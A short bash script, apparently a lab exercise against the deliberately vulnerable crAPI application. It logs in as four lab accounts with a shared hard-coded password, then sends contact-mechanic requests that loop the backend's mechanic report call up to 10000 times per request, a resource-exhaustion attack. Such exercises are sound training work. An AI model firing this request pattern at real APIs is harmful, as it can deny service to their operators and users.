1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071 |
- #!/bin/bash
-
- # Prompt the user to enter the value of HOSTNAME
- read -p "Enter the HOSTNAME: " HOSTNAME
-
- # Function to obtain access token for a given email and password
- get_access_token() {
- local email=$1
- local password=$2
-
- # Use curl to get the access token and jq to extract it
- local access_token=$(curl "http://$HOSTNAME/identity/api/auth/login" \
- -H 'Content-Type: application/json' \
- --data-raw '{"email":"'"$email"'","password":"'"$password"'"}' \
- --insecure -s | jq -j .token)
-
- echo "$access_token"
- }
-
- # Define the common password
- COMMON_PASSWORD='cRaPi2023!!!'
-
- # Define the email addresses
- emails=(
- 'apilab@akamai.com'
- 'apilab2@akamai.com'
- 'apilab3@akamai.com'
- 'apilab4@akamai.com'
- )
-
- for ((i=0; i<${#emails[@]}; i++)); do
- # Generate access token
- access_token=$(get_access_token "${emails[i]}" "$COMMON_PASSWORD")
- # Define VINs
- VINS=("8WNFQ29UASO325881" "2QJHA06QPTA452548" "9MZWD50MITK534430" "2QBSC54ZIHY224823")
- VIN=${VINS[i]}
-
- # Execute first curl command
- curl "http://$HOSTNAME/workshop/api/merchant/contact_mechanic" \
- -H "Accept: */*" \
- -H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
- -H "Authorization: Bearer $access_token" \
- -H "Cache-Control: no-cache" \
- -H "Connection: keep-alive" \
- -H "Content-Type: application/json" \
- -H "DNT: 1" \
- -H "Origin: http://$HOSTNAME" \
- -H "Pragma: no-cache" \
- -H "Referer: http://$HOSTNAME/contact-mechanic?VIN=$VIN" \
- -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
- --data-raw "{\"mechanic_code\":\"TRAC_JHN\",\"problem_details\":\"123\",\"vin\":\"$VIN\",\"mechanic_api\":\"http://$HOSTNAME/workshop/api/mechanic/receive_report\",\"repeat_request_if_failed\":true,\"number_of_repeats\":10000}" \
- --compressed \
- --insecure | jq -j
-
- curl "http://$HOSTNAME/workshop/api/merchant/contact_mechanic" \
- -H "Accept: */*" \
- -H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
- -H "Authorization: Bearer $access_token" \
- -H "Cache-Control: no-cache" \
- -H "Connection: keep-alive" \
- -H "Content-Type: application/json" \
- -H "DNT: 1" \
- -H "Origin: http://$HOSTNAME" \
- -H "Pragma: no-cache" \
- -H "Referer: http://$HOSTNAME/contact-mechanic?VIN=$VIN" \
- -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
- --data-raw "{\"mechanic_code\":\"TRAC_JME\",\"problem_details\":\"123\",\"vin\":\"$VIN\",\"mechanic_api\":\"http://$HOSTNAME/workshop/api/mechanic/receive_report\",\"repeat_request_if_failed\":true,\"number_of_repeats\":10000}" \
- --compressed \
- --insecure | jq -j
-
- done
|